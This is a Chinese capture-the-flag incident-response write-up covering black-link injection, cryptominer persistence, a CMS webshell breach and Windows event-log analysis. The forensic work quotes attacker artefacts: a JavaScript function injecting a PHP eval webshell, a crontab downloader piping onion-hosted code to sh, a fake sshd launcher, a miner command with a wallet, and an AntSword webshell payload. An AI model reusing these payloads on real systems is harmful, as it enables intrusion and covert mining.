黑链

找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}

root@ip-10-0-10-3:/var/www/html# grep -rnw '/var/www/html/' -e '黑链'
/var/www/html/usr/themes/default/header.php:24:<h3 style="text-align:center">模拟黑链</h3>

但是平常排除黑链

查看异常链接:使用 grep 或其他工具查找所有外部链接,并检查是否有异常链接指向可疑网站。

grep -rni 'href=' /var/www/html/

查看 JavaScript 文件:检查 JavaScript 文件中的可疑代码或动态加载的链接。

grep -rni 'http' /var/www/html/

webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}

放入D盾扫描,得到是

flag{/var/www/html/usr/themes/default/404.php}

黑客注入黑链文件的 md5 md5sum file flag{md5}

poc1.js中有一段写入一句话木马功能的函数

function writeShell() {
// 如果isSaved为false
if (!isSaved) {
// 获取iframe内的内容区域和“保存文件”按钮元素
var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');
// 获取模板文件原始内容
var oldData = content.value;
// 在原始内容前加入一段phpinfo代码
content.value = ('<?php @eval($_POST[a]); ?>\n') + oldData;
// 点击“保存文件”按钮
btns[1].click();
// 将isSaved设为true,表示已经完成写入操作
isSaved = true;
}
}
root@ip-10-0-10-3:/var/www/html# md5sum poc1.js 
10c18029294fdec7b6ddab76d9367c14 poc1.js

flag{10c18029294fdec7b6ddab76d9367c14}

攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}

在家目录有一个out.pcap,下载下来后放在wireshark

http contains "poc1.js"

找到入口是/index.php/archives/1/,通过cookie注入写入黑链

flag{/index.php/archives/1/}

挖矿

1、黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1}

web目录在/www

日志在/www/admin/websec_80/log/nginx_access_2023-12-22.log

flag{192.168.10.135}

2、黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24}

8081端口开设的是一个织梦cms,使用admin:12345678登录后台

在系统->系统用户管理中发现hacker用户,注册时间是2023-12-22 19:08:34

flag{2023-12-22 19:08:34}

3、黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass}

通过D盾扫描发现webshell是404.php,里面base64解码得到密码是cmd

flag{404.php-cmd}

4、黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd}

查看root的历史命令,发现find命令添加了SUID位以及所有用户都能执行,并且find命令能够用来提权

[root@ip-10-0-10-1 ~]# cat .bash_history 
ip addr
rpm -qa|grep vim
vim
yum -y install vim*
vim
yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh
vim /etc/hosts
ls
cd /var/www/
cd /tmp
vim config.sh
chmod +x config.sh
ll
sh config.sh
history
ls
ifconfig
ip addr
ll
chmod 4775 /usr/bin/find

flag{/usr/bin/find}

5、对黑客上传的挖矿病毒进行分析,获取隐藏的Flag

cat /etc/crontab,发现一段可疑的计划任务

sleep ${R:-0};
BP=$(dirname "$(command -v yes)");
BP=${BP:-"/usr/bin"};G1="curl";
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then
G1="echo";for f in ${BP}/*;
do
strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;
done;
fi;
G2="wget";
if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then
G2="echo";
for f in ${BP}/*;
do
strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && G2="$f" && break;
done;
fi;
if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ];then
echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;
fi;
C=" -fsSLk --connect-timeout 26 --max-time 75 ";
W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";
H="https://an7kmd2wp4xo7hpr";
T1=".tor2web.su/";
T2=".d2web.org/";
T3=".onion.sh/";
P="src/ldm";
($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &

通过一堆拼接,但是仍然能够分析出是要下载一个src/ldm

[root@ip-10-0-10-1 web]# find / -name "ldm" 2>/dev/null
/etc/.cache/ldm

里面有一段base64编码,解码得到flag

flag{websec_True@888!}

挖矿2

导入vmware并用NAT模式,靶机IP为192.168.233.14

1.找出被黑客修改的系统别名,并将倒数第二个别名作为Flag值提交;

-bash-4.2# alias
alias adduser='printf ""'
alias cp='cp'
alias crontab='printf ""'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias find='printf ""'
alias grep='grep --color=auto'
alias halt='printf ""'
alias htop='printf ""'
alias init='printf ""'
alias kill='printf ""'
alias killall='printf ""'
alias l.='ls -d .* --color=auto'
alias ll='ls -l --color=auto'
alias locate='printf ""'
alias ls='ls --color=auto'
alias mv='mv'
alias netstat='printf ""'
alias pkill='printf ""'
alias ps='printf ""'
alias rm='rm'
alias ss='printf ""'
alias userdel='printf ""'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

flag{userdel}

2.找出系统中被植入的后门用户删除掉,并将后门用户的账号作为Flag值提交(多个用户名之间以英文逗号分割,如:admin,root);

-bash-4.2# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
admin:x:1000:1000::/home/admin:/bin/bash
sclipicibosu:x:0:0::/home/sclipicibosu:/bin/bash

flag{sclipicibosu}

3.找出黑客在admin用户家目录中添加的ssh后门,将后门的写入时间作为Flag值(提交的时间格式为:2022-01-12 08:08:18)

-bash-4.2# ls -a
. .. authorized_keys
-bash-4.2# cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr0YMTVBXhCHSWSucl9BRzr6U1dKwg0uCFZ1NjI3tFSyfN5VcYew/b9Im2LMrQdBasrqIQcn4yiM8CBDst7I5BXYm/gEn1R6Nija4a9plG+g39WLmEYUkhrQ7bYvMEsg5RsSpl/h760iMHZRgYI4G3EIE/BMt4Ap9uKsyuz+hFVZZwFu0lJa5d2thWKTDzI5Cof9K5jFlxwDTEDIlTFWGhZDVJGSAH2d47S+MCjQkzAzVcrlbYUYEGYSwiTrq37nxGeVqIVRTZZMf8/IZ+9XzEBi9t8iAXitGRgxRAxBmQCHWxRK3h7AT/4uR9dOBzitmMJvpaPdUmAPoXcQtYoQQ/w==-bash-4.2# ls -liah
总用量 12K
261640 drwx------. 2 admin admin 4.0K 9月 14 2022 .
261633 drwx------. 4 admin admin 4.0K 9月 16 2022 ..
261639 -rw-------. 1 admin admin 380 9月 14 2022 authorized_keys
-bash-4.2# stat authorized_keys
文件:"authorized_keys"
大小:380 块:8 IO 块:4096 普通文件
设备:fd02h/64770d Inode:261639 硬链接:1
权限:(0600/-rw-------) Uid:( 1000/ admin) Gid:( 1000/ admin)
环境:unconfined_u:object_r:user_tmp_t:s0
最近访问:2024-08-23 22:42:10.780980371 +0800
最近更改:2022-09-14 15:04:47.000000000 +0800
最近改动:2022-09-14 23:21:41.742958733 +0800
创建时间:-

flag{2022-09-14 15:04:47}

4.找出黑客篡改过的环境变量文件,将文件的md5值作为Flag值提交;

-bash-4.2# cat /root/.bashrc
# .bashrc
source /var/tmp/.SQL-Unix/.SQL/.db
alias rm=rm -i
alias cp=cp -i
alias mv=mv -i
echo Uname: Linux admin-virtual-machine 5.4.0-54-generic #60-CentOS SMP Fri Nov 6 10:37:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
-bash-4.2# md5sum /root/.bashrc
d847ea4b317c880c3854418503d11470 /root/.bashrc

flag{d847ea4b317c880c3854418503d11470}

5.找出黑客修改了bin目录下的某个文件,将该文件的格式作为Flag值提交

-bash-4.2# ll /usr/bin | sort -nrk 8
-rwxrwxrwx. 1 root root 305 9月 15 2022 sshd
lrwxrwxrwx. 1 root root 9 9月 13 2022 python2 -> python2.7
lrwxrwxrwx. 1 root root 9 9月 13 2022 psfstriptable -> psfxtable
lrwxrwxrwx. 1 root root 9 9月 13 2022 psfgettable -> psfxtable
lrwxrwxrwx. 1 root root 9 9月 13 2022 psfaddtable -> psfxtable
lrwxrwxrwx. 1 root root 8 9月 13 2022 ypdomainname -> hostname
lrwxrwxrwx. 1 root root 8 9月 13 2022 unix2mac -> unix2dos
lrwxrwxrwx. 1 root root 8 9月 13 2022 tclsh -> tclsh8.5
lrwxrwxrwx. 1 root root 8 9月 13 2022 systemd-loginctl -> loginctl
lrwxrwxrwx. 1 root root 8 9月 13 2022 nisdomainname -> hostname
lrwxrwxrwx. 1 root root 8 9月 13 2022 mac2unix -> dos2unix
lrwxrwxrwx. 1 root root 8 9月 13 2022 domainname -> hostname
lrwxrwxrwx. 1 root root 8 9月 13 2022 dnsdomainname -> hostname
lrwxrwxrwx. 1 root root 7 9月 13 2022 x86_64 -> setarch
lrwxrwxrwx. 1 root root 7 9月 13 2022 python -> python2
lrwxrwxrwx. 1 root root 7 9月 13 2022 linux64 -> setarch
lrwxrwxrwx. 1 root root 7 9月 13 2022 linux32 -> setarch
lrwxrwxrwx. 1 root root 7 9月 13 2022 i386 -> setarch
lrwxrwxrwx. 1 root root 6 9月 13 2022 zsoelim -> soelim
lrwxrwxrwx. 1 root root 6 9月 13 2022 xzfgrep -> xzgrep

-bash-4.2# cat /usr/bin/sshd

#!/bin/bash
locatieasdf=$(cat /usr/bin/.locationesclipiciu)
if [ ! -d ]; then
mkdir
rsync -r /usr/bin/.locationesclipiciu/ /
sleep 1
/.b4nd1d0 > /dev/null 2>&1 & disown
else
if [ ! -f /ethminer ]; then
rsync -r /usr/bin/.locationesclipiciu/ /
sleep 1
/.b4nd1d0 > /dev/null 2>&1 & disown
fi

-bash-4.2# file /usr/bin/sshd
/usr/bin/sshd: ASCII text

flag{ASCII text}

6.找出黑客植入系统中的挖矿病毒,将矿池的钱包地址作为Flag值(提交格式为:0xa1d1fadd4fa30987b7fe4f8721b022f4b4ffc9f8)提交

-bash-4.2# cat /home/admin/.b4nd1d0 
#!/bin/bash
m1lbe1()
{
if ! pgrep -x ethminer >/dev/null
then
cd /home/admin/bin
./ethminer -P stratum1+tcp://0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.ethminer:sclipicinr1@gmail.com@eth-asia1.nanopool.org:9999 --report-hashrate >/dev/null 2>&1 & disown $*
else
exit;
fi
}
m1lbe1

flag{0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8}

CMS01

通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交;

[root@ip-10-0-10-2 ~]# cat /var/log/secure-20240320 [root@ip-10-0-10-2 ~]# cat /var/log/secure-20240320 
Mar 4 09:47:06 web-server polkitd[750]: Loading rules from directory /etc/polkit-1/rules.d
Mar 4 09:47:06 web-server polkitd[750]: Loading rules from directory /usr/share/polkit-1/rules.d
Mar 4 09:47:06 web-server polkitd[750]: Finished loading, compiling and executing 2 rules
Mar 4 09:47:06 web-server polkitd[750]: Acquired the name org.freedesktop.PolicyKit1 on the system bus
Mar 4 09:47:09 web-server sshd[1102]: Server listening on 0.0.0.0 port 22.
Mar 4 09:47:09 web-server sshd[1102]: Server listening on :: port 22.
Mar 4 09:47:33 web-server unix_chkpwd[8184]: password check failed for user (root)
Mar 4 09:47:33 web-server login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost= user=root
Mar 4 09:47:33 web-server login: pam_succeed_if(login:auth): requirement "uid >= 1000" not met by user "root"
Mar 4 09:47:35 web-server login: FAILED LOGIN 1 FROM tty1 FOR root, Authentication failure
Mar 4 09:47:40 web-server login: pam_unix(login:auth): check pass; user unknown
Mar 4 09:47:40 web-server login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=
Mar 4 09:47:42 web-server login: FAILED LOGIN 2 FROM tty1 FOR (unknown), User not known to the underlying authentication module
Mar 4 09:47:52 web-server login: pam_unix(login:session): session opened for user root by LOGIN(uid=0)
Mar 4 09:47:52 web-server login: ROOT LOGIN ON tty1
Mar 4 09:48:23 web-server sshd[8287]: Accepted password for root from 192.168.20.1 port 11035 ssh2

flag{192.168.20.1}

通过本地 PC SSH到服务器并且分析黑客修改的管理员密码(明文)为多少,将黑客修改的管理员密码(明文) 作为 FLAG 提交;

更改密码的历史命令是不会记录的。于是先打算跳过

但在/root目录有一个流量包,下载下来使用wireshark,进行过滤

http && ip.src_host==192.168.20.1

结果发现了一个/flag1,就是这一问的答案

flag{Network@_2020_Hack}

通过本地 PC SSH到服务器并且分析黑客第一次Webshell的连接URL为多少,将黑客第一次Webshell的连接URL作为 FLAG 提交(无需域名flag{xxx.php?abc-app-upload});

用上一问的过滤方式,第一个流量包就是webshell,应该是一个蚁剑的webshell

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.fd491f470fb7";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "4a0c"."dc70";echo @asenc($output);echo "db6"."da5";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

flag{index.php?user-app-register}

通过本地 PC SSH到服务器并且分析黑客Webshell连接密码多少,将黑客Webshell连接密码 作为 FLAG 提交;

流量包的POST传参的参数就是密码

flag{Network2020}

通过本地 PC SSH到服务器并且分析黑客使用的后续上传的木马文件名称为多少,将黑客使用的后续上传的木马文件名称 作为 FLAG 提交;

往后看发现有大量的/version2.php,猜测是webshell

flag{version2.php}

通过本地 PC SSH到服务器并且分析黑客隐藏的flag2,将黑客使隐藏的flag2 作为 FLAG 提交;

在history中发现了对alinotify.php的编辑

find / -name alinotify.php 2>/dev/null

在/www/wwwroot/127.0.0.1/.api/alinotify.php中找到flag2

flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

通过本地 PC SSH到服务器并且分析黑客隐藏的flag3,将黑客使隐藏的flag3 作为 FLAG 提交;

在root的命令历史记录中发现

flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

evtx 文件分析

1.将黑客成功登录系统所使用的IP地址作为Flag值提交

查看”安全”事件日志,登录成功ID为4624,失败为4625.注销为4634,所以筛选4624

虽然有好几个,但这个是正确的

flag{192.168.36.133}

2.黑客成功登录系统后修改了登录用户的用户名,将修改后的用户名作为Flag值提交

用户更改的事件ID为4738

flag{Adnimistartro}

3.黑客成功登录系统后成功访问了一个关键位置的文件,将该文件名称(文件名称不包含后缀)作为Flag值提交

尝试访问对象的事件ID为4663

找到对象名:C:\Windows\System32\SMI\Store\Machine\SCHEMA.DAT

flag{SCHEMA}

4.黑客成功登录系统后重启过几次数据库服务,将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交;

查看”应用程序”事件,根据上述的黑客登录时间可以锁定为10.8的14:06左右往后,查看一个来源为Mysql的事件,可以根据来源进行分组,然后根据事件排列,从后开始找process

flag{8820}

5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交。

查看”系统”事件日志,筛选1074

能够找到两次重启,还有一次应该关机也算?

flag{3}